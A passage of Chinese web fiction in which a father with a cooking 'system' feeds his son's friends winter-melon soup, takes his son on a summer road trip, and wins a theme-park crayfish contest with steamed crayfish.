楚瑾钰轻嗅着那股诱人香味，喉咙不自觉滚动两下：“爸，我帮你端。” “不用，我自己来。” 刚蒸好的冬瓜船特别烫，楚易文觉得一个人动手还更稳妥，拒绝后自己小心地将冬瓜船从锅里取出来，放在案板上缓一会，随即才转移到餐桌上。 整个冬瓜放到桌上，配上冬瓜船上锯齿状花纹，让这道菜看起来独特又新奇。 随着楚易文将冬瓜盖子打开，热气携着更加浓郁的香味蔓延开来，同时露出里面的馅料。 隔水蒸出来的汤很清澈，透过汤能看见里面丰富的食材，以及冬瓜内壁被蒸熟后呈现碧绿色的瓜肉，看着就能感受到它的软糯。冬瓜的清香混着鸡肉、猪肉的鲜味，再加上杏鲍菇等食材的气息，整道菜的色与香都特别诱人。 在几个孩子望着冬瓜船不由自主发出感叹时，楚易文拿起勺子轻轻将冬瓜船里的冬瓜肉刮下来，配着食材盛到碗中，分别放到几个孩子面前：“尝尝味道怎么样。” “好吃！”胡一齐依旧是还没吃就先夸，夸完才端起碗。 明明他刚刚还被火鸡面给馋得不行，此时得到冬瓜船，立刻就将火鸡面抛之脑后。 他爱吃肉，握着筷子先夹两块肉送进嘴里，鸡肉和猪肉吃起来都格外鲜嫩，咀嚼间很有汤汁感。 商时贸跟他不同，先尝了口杏鲍菇，吸满汤汁的杏鲍菇软韧不失鲜美，有种越吃越香的感觉，清淡的调味将食材本身的鲜味完全激发出来，鲜香十足。 楚瑾钰：“我怎么感觉里面冬瓜比肉还好吃！” 他吃口肉再吃口冬瓜，瞬间被冬瓜的滋味给惊艳到。长时间的蒸制让冬瓜吸收高汤与所有食材的精华，吃起来软糯鲜香，入口即化。 听到他夸冬瓜好吃，叶其林下意识用筷子去夹冬瓜，轻轻一碰瓜肉就要碎掉，赶紧用勺子替换筷子。冬瓜终于吃进嘴，他瞬间就理解楚瑾钰为什么夸它比肉还好吃。 冬瓜本身的清甜爽口中和馅料的咸鲜，吃起来特别清爽滋润，甚至不用刻意咀嚼，舌头轻轻一抿冬瓜肉就直接在嘴里化开，咽下后余味悠长。 “汤也特别好喝。”商时贸抿了口汤后夸道。 汤汁楚易文是用高汤煮出来，本身就很鲜美的高汤吸收所有食材的精华，又被冬瓜本身的清爽中和油腻，喝起来格外鲜美爽口。 夏天喝热汤应该会让人更加热，然而这碗带着冬瓜清爽的汤喝完却让人感觉又舒服又滋润，好像身体里的燥热都被它给拂去。 四人很快就吃得差点没把脸埋进汤碗中，直到把碗里食材吃得干干净净，才终于抬头开始吃火鸡面。 当然，吃火鸡面之前，楚瑾钰和胡一齐抢着汤勺先把自己汤碗装满，等他们抢完，商时贸和叶其林才接着盛汤。 “太爽了！” 跟冬瓜船的滋润比起来，辣辣的火鸡面吃起来很容易让人感觉燥热，而吃几口火鸡面再来口冬瓜船，那感觉，让胡一齐直接感叹出声。 “感觉明明是一样的火鸡面，楚爸你煮出来都格外香。”叶其林吃着火鸡面夸道。 这并不是他的错觉，而是楚易文煮面时比较讲究，面出锅时保持面条最佳的口感，吃起来当然会更香。 楚瑾钰吃口火鸡面，咬口煎蛋，转头再喝口汤，吃口冬瓜，同样感觉很爽。 看到几个孩子胃口那么好，楚易文都有点受到感染，吃完火鸡面又多喝了碗汤。 等他吃饱喝足放下碗筷时，楚瑾钰和胡一齐对视一眼，两个人立刻抢起来剩下的冬瓜船来。 最开始时楚易文还以为他们是吃不饱，还试图多做点，后面发现他们纯粹是抢着吃更香，就懒得再管。 一大份火鸡面加鸡蛋和黄瓜丝，再配上几碗冬瓜船，楚瑾钰他们肚子都已经饱了，现在抢剩下的冬瓜船本身，纯粹是嘴还馋。 眼见他们拿着勺子对冬瓜里面哐哐一通掏，将冬瓜肉全部掏出来，让冬瓜皮都开始变透明，甚至一副随时要破的样子，楚易文又好笑又无奈。 “好了，已经没有瓜肉了，喜欢吃我下次再给你们做。” 他话落，楚瑾钰直接放手，胡一齐却是趁机将冬瓜拉到自己面前，用勺子继续挖残留的那一丢丢瓜肉，直到把瓜皮挖破才罢休。 楚易文看到他连冬瓜盖子都不放过，觉得今天这冬瓜倒是买得挺值，被吃得那叫一个干净。 吃饱喝足，屋子里还残留着冬瓜船的香味，那清爽的冬瓜香非但不让人觉得难闻，反而令人回味。 刚放暑假，楚易文不可能丧心病狂地提醒他们写作业，于是起身去书房剪视频，将客厅留给他们打游戏玩。 今天视频的封面是刚掀开盖子的冬瓜船，光看图片就特别诱人，别说早就关注他的粉丝，就连路人网友在刷到时都忍不住点进来。 【哇！看起来好好吃啊，家里正好有冬瓜，晚上就学起来，做给我女儿吃！】 【这不是大乱炖吗？这能好吃？我不信，除非给我尝尝。】 【看起来倒是挺不错，但冬瓜煮汤不会漏吗？】 【想学，但是家里没有那么大的锅，用小冬瓜可以吗？】 【评论区都是勤快人，竟然想自己做，不像我，我只会喊“妈，妈我想吃这个！”】 楚易文见挺多粉丝都对冬瓜船感兴趣，回复了几条评论，表示自己用的是五斤多的冬瓜，如果是两三个人吃，用三斤左右的小冬瓜也可以，以及里面食材可以自己搭配。 他在书房里忙着剪视频、发视频、回复粉丝评论时，客厅里，楚瑾钰他们每人一个游戏手柄，边打游戏边闲聊。 叶其林：“你们暑假有什么安排吗？” “我想去我妈那。” 胡一齐话落，商时贸则是表示他妈给他报了补习班。听到商时贸暑假要上补习班，其他三人纷纷投来同情的眼神。 叶其林：“我妈本来也想给我报班，我直接说暑假要回老家，她才终于放弃。” 他话落看向楚瑾钰，楚瑾钰边打游戏边开口：“我爸问我要不要出去旅游，我们还在商量去哪玩。” 胡一齐听到他们要去旅游，立刻“啊”了一声：“那我不是吃不到楚爸做的饭了！” “你去你妈那，本来也吃不到，难道你还想每天跨市来我家吃饭吗？”楚瑾钰斜他一眼。 胡一齐想想觉得也是，不过还是道：“那你们玩完可得早点回来，毕竟我应该不会在我妈那待整个暑假。” 下午在楚瑾钰家吃完晚饭，叶其林他们没让楚易文送，自己打车回来。等他们离开，楚易文父子二人拿着手机商量暑假游的行程。 夏天肯定得去能避暑的地方玩，那些比云市还热的城市，他们完全不考虑。 暑假第三天，终于定好大概旅程的父子二人收拾好东西开车出门。 楚易文有两辆车，一辆是普通轿车，一辆是越野车，出去玩他自然是开后者。 “爸，这好像还是我们第一次一起出来旅游。”楚瑾钰坐在副驾驶望着窗外的风景，忽然发出感叹。 楚易文边观察路况边开口：“不是，你两岁多时我跟你爷爷奶奶带你去过首都，三岁时去隔壁省玩过，家里相册都有照片。” “你说的那些我都没记忆。”楚瑾钰觉得三岁前带他出去玩，他一点记忆都没有，简直就是白去。 楚易文：“那你加油，争取考到首都去，到时候你带我去首都玩。” “切，就我这个成绩，能考上首都才奇怪。”楚瑾钰扭开头继续看窗外。 “跟高一比起来，你已经进步很多，高三再冲刺一下，怎么考不上首都。”楚易文说完又怕给他压力，于是补充，“当然，咱们本省的大学也不错，离家近。” 自驾游很自由，但开车的路上多少有些枯燥，父子俩前面还能聊会天，后面车里就安静下来。 楚瑾钰开始感觉无聊，于是摸出一盒牛肉干开始啃。 牛肉干是楚易文自己做的，有五香和香辣两种味道，整体口感偏干，吃起来很有嚼劲，很适合在没事时拿来磨牙打发时间。 “爸你要不要吃？”楚瑾钰询问完，不等他爸回答，就直接将一片牛肉怼他嘴唇上，让他只能张开嘴吃掉。 车子开到某条高速上时，竟然堵车了，楚易文望着前面长长的车龙，只能期盼着早点通路。 空调吹久了楚瑾钰感觉有点闷，于是将车窗降下来，边吹风边继续啃牛肉干。 可能是有记忆以来第一次跟爸爸出来旅游，楚瑾钰心情很不错，哪怕遇见堵车他也没感觉烦。 余光看到儿子那副悠闲的模样，本来情绪就比较稳定的楚易文受到感染，心态变得更加放松。 “哥哥~” 就在楚瑾钰慢悠悠啃着肉干时，旁边忽然传来奶声奶气的声音，他转头就看到隔壁车内有个可爱的小朋友正在喊自己。 见他看过来，白嫩可爱的小家伙挥着肉乎乎的小手又甜甜喊了声“哥哥”，然后人小鬼大地叹气说：“哥哥，坐车车尊累呀，我们可以一起吃泥的肉肉吗？” 别说楚瑾钰这个当事人，就连楚易文都被那个鬼灵精怪的小家伙给逗笑，恨不得越过儿子将牛肉干递给她。 “给你。”楚瑾钰不喜欢小屁孩，但这种可可爱爱的例外，直接伸手将两片五香味牛肉干递过去。 “谢谢哥哥~” 小家伙接过牛肉干时，旁边忽然又探出个脑袋，却是只白色比熊。 “宝宝也想吃？那泥说谢谢哥哥~” 小朋友话落，那只比熊似乎在车里立起来，举着前爪朝楚瑾钰所在方向拜着，看起来特别有灵性。 狗狗用动作表达完谢谢，明明自己馋得嘴角都湿了的小朋友还是将肉肉分给它一片。 两个小可爱凑在车窗前吃牛肉干的模样实在太可爱，别说楚瑾钰父子二人，就连后车本来有些烦躁的车主看到这一幕，心情都不自觉变好。 小朋友家长在发现自家孩子从别人那蹭肉干吃时，很不好意思，道谢后回了几个水蜜桃。 楚瑾钰干脆又拿了些牛肉干递给小朋友，并对孩子家长说：“这是我爸自己做的牛肉干，食材新鲜，而且很健康。” 听到是他爸自己做的，车主更加不好意思，不过看到自家孩子吃得那叫一个香，拒绝的话到底说不出口，只能再三感谢。 “哥哥，爸爸做肉肉呀？”小家伙啃牛肉干时耳朵竟然还听见他们说话，边吃边奶声奶气开口。 “对。” “泥爸爸尊厉害！” 楚瑾钰看到她卖力啃肉干的可爱模样，忍不住逗她：“我爸还会做好多好吃的，你要不要跟我走？” 他只是逗孩子玩，没想到小家伙竟然把牛肉干咬在嘴里，随即将两只小手从车窗里伸出来，一副要他抱的样子。 楚瑾钰没想到他爸做的牛肉干竟然这么管用，笑着赶紧又拿几片五香牛肉干直接塞进她两只小手中。 小朋友看到手里的牛肉干，忍不住歪着小脑袋望着他，似乎在疑惑他怎么不抱自己走。但她旁边的狗狗却不管那么多，直接站起来叼走她左手的牛肉干，趴在车座上大口咀嚼，那浓郁的肉香，好吃到狗狗眼睛都眯起来。 高速路上的小插曲过去后，很快楚易文父子就到达他们第一个目的地，由于太阳已经落山，他们先找酒店住下来。 第55章 清蒸小龙虾 晚餐时间由于楚瑾钰不想再出门, 于是点的外卖。 夏天是吃小龙虾的季节，见儿子说不想吃米饭，想吃小龙虾, 楚易文就点了双人份麻辣小龙虾加拌面和饮料。 半个小时左右外卖送过来，虾个头看起来还行，闻着也挺香，父子二人戴着手套吃起来，然而才吃几个楚瑾钰就忍不住道：“就这还敢要两百多？还没爸你做的好吃……” 刚吃时感觉还行，但是仔细品尝就发现，小龙虾整体调味特别重, 虾肉吃起来不够弹，余味咸鲜中总感觉有淡淡腥味。 “去腥没做好，调味太重将虾本身的鲜味都压住, 火候稍微差了点，不过胜在食材还算新鲜，没有死虾。”楚易文点评道。 死虾和活虾做出来实在太明显, 对他来说，一眼能分辨, 面前这份虾唯一值得夸奖的大概就是食材。不过这里本就是小龙虾养殖地，食材新鲜这点，好像也没那么值得夸赞。 凑合着将小龙虾吃个大概，楚瑾钰将面拌进虾汤中, 搅拌开来时卖相看起来还行，根根分明的面条裹上红彤彤的虾汤。 在楚易文看来，小龙虾调味这么重，最好将汤往面碗里倒，而不是直接将面倒入虾汤, 可儿子动作太快，他压根没来得及阻止。 果然，等面伴好，楚瑾钰才吃一口就皱眉：“不好吃，有点咸就算了，还带着腥味，面条口感也一般。” 平常吃太好，结果出来玩的第一顿饭就如此令人失望，其实挺影响心情。 看到儿子握着筷子不愿意再动筷，同时脸上带出几分不高兴，楚易文开口道：“等回家我给你做小龙虾，这面不爱吃就别吃了，再点点你想吃的。” 他说完，将面条捞进自己碗里，显然是准备自己解决掉剩下的食物。 “算了，懒得点，我少吃点。” 楚瑾钰看到他爸不愿意浪费，想到以前奶奶跟他说过，喜欢的东西就多吃点，不喜欢少吃点，决定还是凑合吃点。 晚餐结束，父子二人吃饱喝足，不过楚瑾钰感觉晚饭没怎么吃饱，嘴瘾没过，于是从包里翻虾干出来啃。 低温烘烤出来的虾干鲜味都被浓缩成精华，一口下去，鲜香浓郁，外壳的酥脆和有嚼劲的虾肉简直越吃越香。 还好带了虾干和牛肉干出来~ 楚瑾钰吃着香喷喷的爸爸牌虾干，心情终于恢复，觉得出门自带美食的自己简直太机智。 家里就剩两斤多虾干，一斤牛肉干，全让他给带出来。三斤多零嘴看起来挺多，可实际上他今天坐车时连吃带送已经消耗不少。 楚易文想提醒他吃完就没有了，可看着吃得喷香的儿子，想想觉得还是不要扫兴。 一夜好眠，次日他们六点就起床，在酒店吃过早餐便趁着天气还没那么热，直奔景区先去爬山。 “爸你不累吗？” 爬了快两个小时，楚瑾钰擦着头上的汗看向他爸。 作为一个在学校经常跑步、打篮球的高中生，他刚爬时甚至考虑过，等他爸爬不动时就把他爸身上那个包接过来，没想到，竟然是他先感觉到累。 楚瑾钰觉得不科学，他爸之前天天坐办公室又不运动，而且马上都要四十岁，怎么可能体力比他还好。 “还好，你要是累的话把包给我。”楚易文伸手道。 他确实从大学毕业后就没有运动的习惯，刚开始儿子提出想爬山时，他还担心自己爬不动。没想到真开始时，好像没他想的那么难爬。 思来想去，楚易文觉得可能是得到系统后身体素质变好了，当然，也可能是在系统厨房练出来的体力，毕竟厨师可是个体力活，做菜时他经常要拿着锅勺站很久。 “不用。”楚瑾钰见他爸竟然还要给自己拿包，要面子的少年人直接拒绝。 夏天来爬山是真有点自讨苦吃，哪怕他们特意趁早上比较凉快的时间来爬，可等到山顶时早就是中午最热的时候。 “终于到山顶了……” 楚瑾钰双手撑着膝盖，整个人累得气喘吁吁，心里觉得自己简直有毛病，干嘛要自找苦吃。 跟他比起来，楚易文稍微好点，累肯定是累，但至少能站直身体慢慢平复呼吸。 爬山的过程确实很累，但真站到山顶上时，望着山下的风景，体会诗人口中的“会当凌绝顶，一览众山小”，又有种世界都变得广阔的感觉。 父子二人一起欣赏风景，又拍照、拍视频留念后，楚易文问：“中午想吃什么？” 山顶上有几家小饭馆，还有卖矿泉水、泡面、关东煮的小店，爬完山的游客基本上都是在这些地方解决午餐。 “吃不下，我想等回去再吃。” 欣赏完风景，楚瑾钰倒是没有刚爬完山时那么后悔，但他现在依旧有点没缓过来，感觉没什么胃口。 楚易文：“多少吃一点垫垫肚子。” 山上就别指望有什么美食，本就没胃口的楚瑾钰跟着他爸转了一圈，更加不想吃。 最终楚易文随便吃了碗面，楚瑾钰则是喝了碗绿豆汤。 “怪不得之前五一时，出去旅游的同学都说景区东西不好吃。” 楚瑾钰看着他爸面前那份牛肉面，牛肉少得可怜就算了，面条竟然用的是挂面，就这还收三十多块钱，感觉很离谱。 “景区都是这样。”楚易文说完大口解决碗里的面，连汤都没剩下。 好不容易爬上来，吃完午饭他们没有立刻下山，而是继续在山顶转悠，楚瑾钰哐哐在群里分享各种风景视频和照片，对自己爬山的狼狈和累是只字不提。 “爸，那边有栗子。” 楚瑾钰这个年纪本来就容易饿，中午就喝一碗绿豆汤根本不顶饱，因此在看到有卖栗子的小摊时，立刻被吸引。 他想着栗子又不是饭菜，这玩意总不会做得太难吃。 栗子一般是九月份成熟，楚易文跟着走过来，在摊主推销时开口询问：“怎么这么早就有栗子卖？” “这是山上长的早熟野山栗，别看个头小，吃起来特别脆甜，生的熟的都好吃，你们可以尝尝。”摊主道。 楚易文伸手拿起个生栗子，拥有食神之眼的他立刻就看出来，确实是新鲜栗子，而不是去年存的冻货。 “你想吃就买点。” “我发现这栗子生的也好吃，我们都买点吧。”楚瑾钰尝过软糯香甜的熟栗子，发现生栗子吃起来脆嫩清甜，咀嚼间几乎没有什么渣。 楚易文自然不会拒绝，于是父子二人就买了几斤板栗带着一起坐缆车下山。 其实今天原本计划爬完山晚上去附近夜市逛逛，顺便解决晚饭，不过由于楚瑾钰回到酒店就躺着不愿意动弹，楚易文便没提这事。 出来玩为的是开心，计划可以有，但没必要死板到非要全按计划来，楚易文晚上点了些带本地特色的小吃，中午没怎么吃东西的楚瑾钰可能是饿了，倒是吃了不少。 不过等到吃饱喝足，他还是说了句：“还是爸你做的更好吃。” 手艺得到儿子认可，楚易文心里自然高兴，笑着表示回家想吃什么都给他做。 接下来几天，他们又将本地有名的景区都游玩一遍，随即才开车前往下个城市。 新城市内最有名的景点是个仿古游乐城，在里面可以看表演，还能亲自参与表演，以及各种沉浸式游戏。 这种地方玩起来不累，还有趣，看得出来楚瑾钰挺喜欢，跟爬完山后的蔫鸡状态不同，那叫一个精力旺盛，哪里有热闹，哪里就有他，搞得楚易文有时候差点没跟上他。 暑假期间带孩子出来旅游的家长不少，楚易文家好歹是个即将成年的孩子，附近好多都是小朋友，那些家长比他还累，追在孩子屁股后面生怕人走掉。 “爸！爸你快过来！这里有个适合你的活动！” 楚易文正瞧着那边三个大人都追不上一个小孩时，就听见自家儿子兴奋的声音，立刻抬脚走过去。 不远处摆着好多锅灶，旁边拉着横幅，上面写着“厨王争霸赛之小龙虾大赛”，显而易见是个比赛做小龙虾的活动，不怪楚瑾钰喊着说适合他。 “爸你能参加吗？我有点想要那个！”楚瑾钰看到他爸过来，指着活动奖品中那把特别帅的木头剑。 别看只是木剑，但剑身和剑柄上都雕着精致的花纹，上面还带着景区的仿古标志，看起来就很有收藏意义。 听到儿子想要奖品，楚易文倒是不介意上去露一手，只是他望着场中央的场景，怎么看活动都已经开始。 “还有最后一个灶台，有没有人想要参加活动。” 主持人话落，楚瑾钰立刻拉着他爸的手举起来：“我们要参加！” “好的，欢迎两位参赛选手，请到这边来挑选食材。”主持人拉开围栏放他们进来，领他们到食材区。 “怎么没有啤酒？” 楚易文之前做过麻辣小龙虾，楚瑾钰记性不错，知道小龙虾要用啤酒去腥，找了一圈发现压根没有啤酒，有些疑惑。 主持人：“食材只剩下这些，你们可以选择用现有的食材进行烹煮，或选择放弃。” 实际上由于有奖品拿，活动刚开始就一堆游客举手报名，楚易文之所以现在能有名额参与，就是有位游客拿食材时先跑去挑小龙虾，结果其他人将配料抢得七七八八，那位游客选择放弃，才空出灶台。 楚瑾钰只以为缺啤酒，楚易文打眼扫过，发现辣椒、花椒、豆瓣酱这些通通没有。 听到他爸说缺这么多东西，楚瑾钰觉得活动方简直在故意为难人：“算了爸，我们走吧，别在这浪费时间。” “没事，也能做。” 楚易文想到暑假前抽到的食谱，觉得问题不大。 他先将葱、姜、料酒、香醋、盐、糖、生抽、香油这些目前还有的东西全部拿到灶台旁，随即才去挑小龙虾。 小龙虾倒是很多，而且品质不错，都是个头比较大的清水虾。 “爸，连辣椒都没有，怎么做麻辣小龙虾啊？”楚瑾钰蹲在装虾的大水盆前问。 楚易文边挑虾边道：“没事，小龙虾又不止麻辣一种做法。” “你是要做蒜蓉小龙虾？可是我们也没有蒜啊？”楚瑾钰觉得其他参赛选手真有点缺德，竟然连一点辣椒和蒜都没留下来，“要不我去找人借点？” “没必要。”楚易文说完拿着自己精心挑选出来的小龙虾到水龙头前开始清洗。 在他清洗小龙虾时，有些动作比较快的选手已经在用油炸小龙虾，随着小龙虾颜色变红，虾鲜味渐渐飘出来。 闻见那股香味，楚瑾钰忽然反应过来：“爸，我们连油都没有！” 围栏周围，有好多看热闹的游客，不少细心的人发现楚易文父子那边的困境，忍不住讨论起来。 “他们那又没油，又没辣椒，怎么做小龙虾？” “确实，没有啤酒还好说，用料酒去腥也行，但没有油和辣椒，难道水煮吗？” “水煮小龙虾有什么好吃的。” “不止他们，那边的女生也没有啤酒和辣椒。” “她有油和蒜，可以做蒜蓉小龙虾。” “食材竟然是要抢的吗？嘿嘿，事情忽然变得有意思起来了。” “确实，这样才有意思，有种看美食综艺的感觉，最好打起来才好玩……” 围观群众们看热闹不嫌事大，巴不得楚易文去跟人抢食材，抢不到骂起来或者打起来。 楚易文自然不会满足某些人想看戏的心思，他将小龙虾洗干净，手法利落地拿剪刀剪掉虾头，挑出黑色虾胃和虾线。他手法很利落，虾胃完全没弄破，光是这一步就能最大限度去除虾腥味。 小龙虾处理好，他开始起锅烧水。 “爸，你该不会要煮小龙虾吧？”楚瑾钰很信任他爸的厨艺，但水煮小龙虾什么的，听起来就不会好吃。 不光他这么认为，围观群众里有人看到他烧水眉毛直接皱起来，觉得他根本就是在浪费食材。 “做不了就别做，何必浪费东西，水煮小龙虾能吃吗？” “就是，看他那样子也不像是会做饭的，真是没事找事。” “谁说烧水就一定是水煮，也可能是蒸，你们没吃过清蒸小龙虾吗？”游客中有人脑子更灵活，想到清蒸小龙虾。 “小龙虾就是要辣的才好吃，清蒸的有什么吃头。” “就是，而且他那什么调料都没有，蒸出来空口吃虾吗？” 灶台前，楚易文确实准备做清蒸小龙虾，大火将水烧开后，他将姜片和葱结在蒸盘上铺满，这样既能给虾去腥，还能防止虾直接接触蒸盘。 楚瑾钰帮不上什么忙，只能站在旁边看着，耳朵听见外面游客的议论时，忍不住转头去瞪人。 瞪完人，楚易文怕那些人叽叽歪歪的声音影响他爸，干脆打开群视频跟胡一齐他们分享这个活动。 “楚爸加油！你是最棒的！” “楚爸出马，一个顶两，第一必然轻松拿下！” “楚爸你参加这种活动，简直是欺负人。” “就是，区区厨王算什么，我们楚爸要参加也应该是厨神级别的比赛。” 得知他们在景区参加“厨王大赛”，胡一齐四人隔着屏幕各种加油打气，甚至有点遗憾自己不在现场。 主持人那边听见动静，立刻拿着麦过来，笑着采访楚瑾钰：“你觉得你爸爸能赢下比赛吗？” “当然，我楚爸必胜！” “碾压局，楚爸不赢我吃！” “楚爸肯定会赢。” 楚瑾钰还没开口，手机里叶其林几人先抢答。 “呐，听到没，我爸能不能赢，都不用我多说。”楚瑾钰语气透着说不出的骄傲，“这几个都是我朋友，自从吃了我爸做的饭，就开始跟我抢爸了。” 他话外之意“我爸什么水平还用多说。” 这边主持人怕围观游客觉得无聊，在努力搞氛围，并发动现场游客举手投票更支持谁时，楚易文已经将虾在蒸盘中摆好，稍微淋两勺料酒，盖上锅盖开始蒸。 他挑选出来的都是一两以上的大虾，水开后至少要蒸十分钟以上，趁这个时间，他开始调料汁。 楚易文做菜时很专注，周围游客的质疑声他一句没听见，叶其林几人的加油声倒是抽空回应一下，但几个孩子的信任，却是让他接下来做得更加认真。 由于食材有限，他只能简单调个姜醋汁，刚刚没用完的姜切成末，加香醋、少许盐、少许生抽、几滴香油和一点点糖来提鲜。姜醋汁调好，简单中透着极致的清爽，闻起来有点令人开胃。 大火猛蒸下，等楚易文将料汁调好，锅里已经有鲜味开始飘出来，刚开始还只萦绕在灶台周围，随着鲜味越来越浓，开始朝着四周飘散。 小龙虾的优质蛋白在水蒸气的高温蒸腾下，散发出清新的鲜味，那股鲜味没有任何添加，完全来自食材本身，闻起来纯净自然。 “好香！” 楚瑾钰最先闻到这股香味，对着手机发出感叹。 “啊！我也好想吃楚爸做的清蒸小龙虾！你们什么时候回来？”胡一齐听到他说好香，哪怕看不见闻不着，嘴里还是下意识分泌出口水。 在胡一齐发出想吃的声音时，先是旁边灶台的选手闻见香味下意识转头，很快围栏外面的游客们也闻见那股纯粹的鲜味。 此时比赛现场共有十个灶台，全部都在做小龙虾，大部分都是麻辣，还有两个做蒜蓉味。按理说麻辣香味那么霸道，应该能碾压其他气息，让周围只有麻辣小龙虾特有的香气。 可偏偏，在浓郁的麻辣鲜香中，那股纯粹的鲜味却是存在感十足，它不强烈，不霸道，却偏偏让人难以忽略，甚至下意识去追寻。 “好香啊……” “确实好香，是谁做的虾？好诱人的鲜香。” “我怎么感觉是从十号那飘过来的香气？” “怎么可能，清蒸小龙虾有这么香吗？” “好像真是十号，其他人做的小龙虾不是带麻辣味就是带蒜香，只有他做的清蒸小龙虾才有这么纯粹的鲜味。” “妈呀，麻辣小龙虾没馋到我，但这股鲜味是真让我馋了，他是怎么蒸的啊？” 随着越来越浓郁的香味飘出来，十号灶台风评在游客们那里瞬间反转。刚开始大家都不看好十号，现在却是被香味吸引，视线下意识都看过去。 蒸小龙虾火候很重要，但凡时间稍微过一点，蒸出来的虾肉就会变老变柴。楚易文之前在系统厨房已经重复做过不知多少次，现在他甚至不用特意定时，根据香味就能判断。 大约十一分钟时，他立刻关火，盖子掀开那瞬间，露出里面经过蒸汽洗礼，由原本的青色变成红彤彤。 水汽让虾身上保持着微微湿润，在阳光下看起来像是涂了层釉色一样，鲜活得像是在放光。 “哇——” 主持人本来以为十号选手只是来凑数的，此时看到锅里的小龙虾却是下意识发出感叹，同时喉咙滚动，显然有被馋到。 锅盖掀开那瞬间，清新纯净的鲜甜气息朝着周围游客脸上扑去，离得最近的游客咽着口水感叹：“真是要了命了！怎么会有人把小龙虾蒸得这么诱人！” 楚易文是最后一个动手的选手，但由于蒸小龙虾做法没那么复杂，他反而是最先做完。 主持人见其他选手也都快做好，强忍着才没有利用职务之便，直接抓个清蒸小龙虾塞嘴里，而是咽下口水后开始走下个流程，抽取幸运游客作为评委。 “太好了，抽中我了！” 被抽中的幸运游客拿着号码票进入围栏，直奔十号灶台前，如果不是主持人反应快，他怕是已经直接上手。 “你稍微擦下口水，克制一下自己。”主持人开个小玩笑后继续抽人。 有个大概七岁的小朋友被抽中，她爸一把抽走她手中号码：“你吃不明白，爸替你去吃。” 小朋友立刻就要哭给他看，孩子妈妈赶紧把号码抢回来塞女儿手里，并在他胳膊上连甩几巴掌。 第56章 烧烤 很快十位评委就从游客中选出, 可谓是男女老少都有。 大人们还会克制，小朋友可不会，进入场内就跑到最诱人的十号灶台前, 仰头望着楚易文问：“叔叔，可以吃了没？” “你得问那个叔叔。”楚易文指着主持人说。 小朋友：“可是哥哥吃了呀！” 楚易文听到她的话转头，才发现自家儿子不知什么时候摸了个小龙虾正剥开壳往嘴里塞。 毕竟是自家儿子，他能怎么样，当然是选择宠溺：“哥哥他是尝尝味道。” 楚瑾钰本来还微微缩着身体，带着几分躲藏，见已经被发现, 直接光明正大地咀嚼着嘴里的虾肉夸道：“我尝过了，非常好吃。” 清蒸小龙虾吃起来鲜甜可口，这股甜味并不是糖那种甜, 而是来自氨基酸的甘甜，咀嚼间虾肉紧实弹牙，甚至有汁水感溢出来, 就算什么调料都不蘸已经是人间美味。 咽下嘴里的虾肉，楚瑾钰连两个虾钳都没放过, 将里面的肉一丝丝都咬出来。 小朋友看到他吃得那么香，口水直流将嘴角都湿润，与此同时，所有选手都已经做好小龙虾, 主持人宣布评委们可以开始品尝。 本来大家应该从一号灶台开始依次品尝，然而主持人话落时，所有评委不约而同来到十号灶台。 主持人见此，只能开口道：“好的，我们从后往前开始品尝。” 被选中的评委连手套都顾不上戴, 确定可以开始吃后，上手就拿小龙虾，楚易文见那个小朋友根本够不着，赶紧用碗装了两个递给她。 “谢谢叔叔~” “不客气，你会自己剥吗？”楚易文看她年纪有点小，怕她不会吃。 “我会。” 她话刚落，围栏外她爸声音响起：“甜甜过来，爸爸帮你剥虾。” “我自己会剥。”甜甜头也不回地说完，蹲下来把碗放到地上就开始剥。 她还在边吞口水边剥虾时，其他几位评委已经将虾肉吃进嘴里，那紧实弹牙的口感，纯粹自然的鲜甜，好吃到让人不自觉闭上眼，脑海中好像浮现小龙虾在河中生长的自由。 如此美味的小龙虾，大家不光将虾钳啃得干干净净，连虾黄都不愿意放过，醇厚丰腴的虾黄顺滑鲜美，哪怕网上对虾黄能不能吃有所争议，此时在场的评委却是顾不得那么多。 “这里有料汁。” 楚易文见他们一个个都空口直接吃，指着桌上已经分好的姜醋汁提醒。 闻言，有位老爷子最先端起料碟，清嗅着那股带着清爽气息的酸香，将剥开的第二个虾肉在碟子里滚一圈后送进嘴里。 姜末的辛辣被醋的酸香中和变得温润起来，醋酸味激发出虾肉更深层次的鲜甜，生抽、盐和香油则为虾增加咸鲜味，让整道清蒸小龙虾吃起来味道更加丰富有层次感。 清爽的调料汁为小龙虾增香提味的同时，并没有掩盖食材本身的鲜甜，吃起来依旧是虾肉本身的鲜甜占据主味。 “虾好，调味好，简直太好吃了！”老爷子吃完蘸姜醋汁的小龙虾，连夸三个好，觉得这是他吃过最好吃的虾。 旁边有两位评委不爱吃姜，本来还有点犹豫要不要蘸料，听到他夸赞的声音，决定还是尝试一下。 姜醋汁于清蒸小龙虾起到画龙点睛的作用，让本就好吃的小龙虾不论是味道、口感都更上一层楼。 “怎么会有这么好吃的小龙虾！” “绝了！太绝了，你干嘛？大家都只吃两个，你凭什么吃三个？” “你们自己手慢怪我喽？” “别抢，给我留一个！” 前面大家还是夸，后面眼见剩下的不够大家都吃第三个，瞬间就抢起来，场面那叫一个乱。 楚易文见此，直接拉着儿子后退几步，免得被波及。 “我都没吃够……”楚瑾钰忍不住小声嘀咕。 他们能退，主持人可不能退，赶紧将剩下几个清蒸小龙虾抢到自己手里：“好了好了，还有九位选手没有品尝，大家先给十号打分。” “你不会想吃独食吧？”有位青年评委盯着主持人。 主持人刚刚跟着尝了个小龙虾，有被惊艳到，本来还真有那么点想利用职务之便吃掉剩下这几个小龙虾，但现在被人盯着，只能道：“剩下几个我们请外面的游客们品尝一下。” 他说完，围栏外的游客们纷纷举手大声喊：“给我，给我！” “看这里，我要吃！” 就那么几个虾，主持人给谁都不是，干脆用一次性手套装着抛出去，谁拿到给谁。 抢到小龙虾的幸运游客有些直接剥皮就吃，有些还挺讲究，跟主持人要蘸料。 “唔，简直绝了！为什么清蒸的小龙虾会那么好吃？” “第一次感受到原来虾肉是真会弹牙，妈呀，太好吃了！” “清蒸小龙虾配上这个料汁，简直好吃惨了，把我都吃开胃了，还想吃……” 幸运游客们被清蒸小龙虾给好吃到时，场地中央，所有评委不约而同将手里那张十分的贴纸贴到楚易文所在的灶台上。 每位评委手里有十张贴纸，分别从一到十，现在十分全部给出去，第一名直接出来。 “不是，你们还没尝过其他……”主持人想阻止根本阻止不了，只能领着他们去品尝剩下选手，选出第二名。 其他九位选手中，有些之前在家就做过小龙虾，有些纯粹是来凑热闹，临时搜攻略自由发挥。 “这虾也太老了……” “什么鬼，怎么麻辣小龙虾比人家清蒸出来的还腥？” 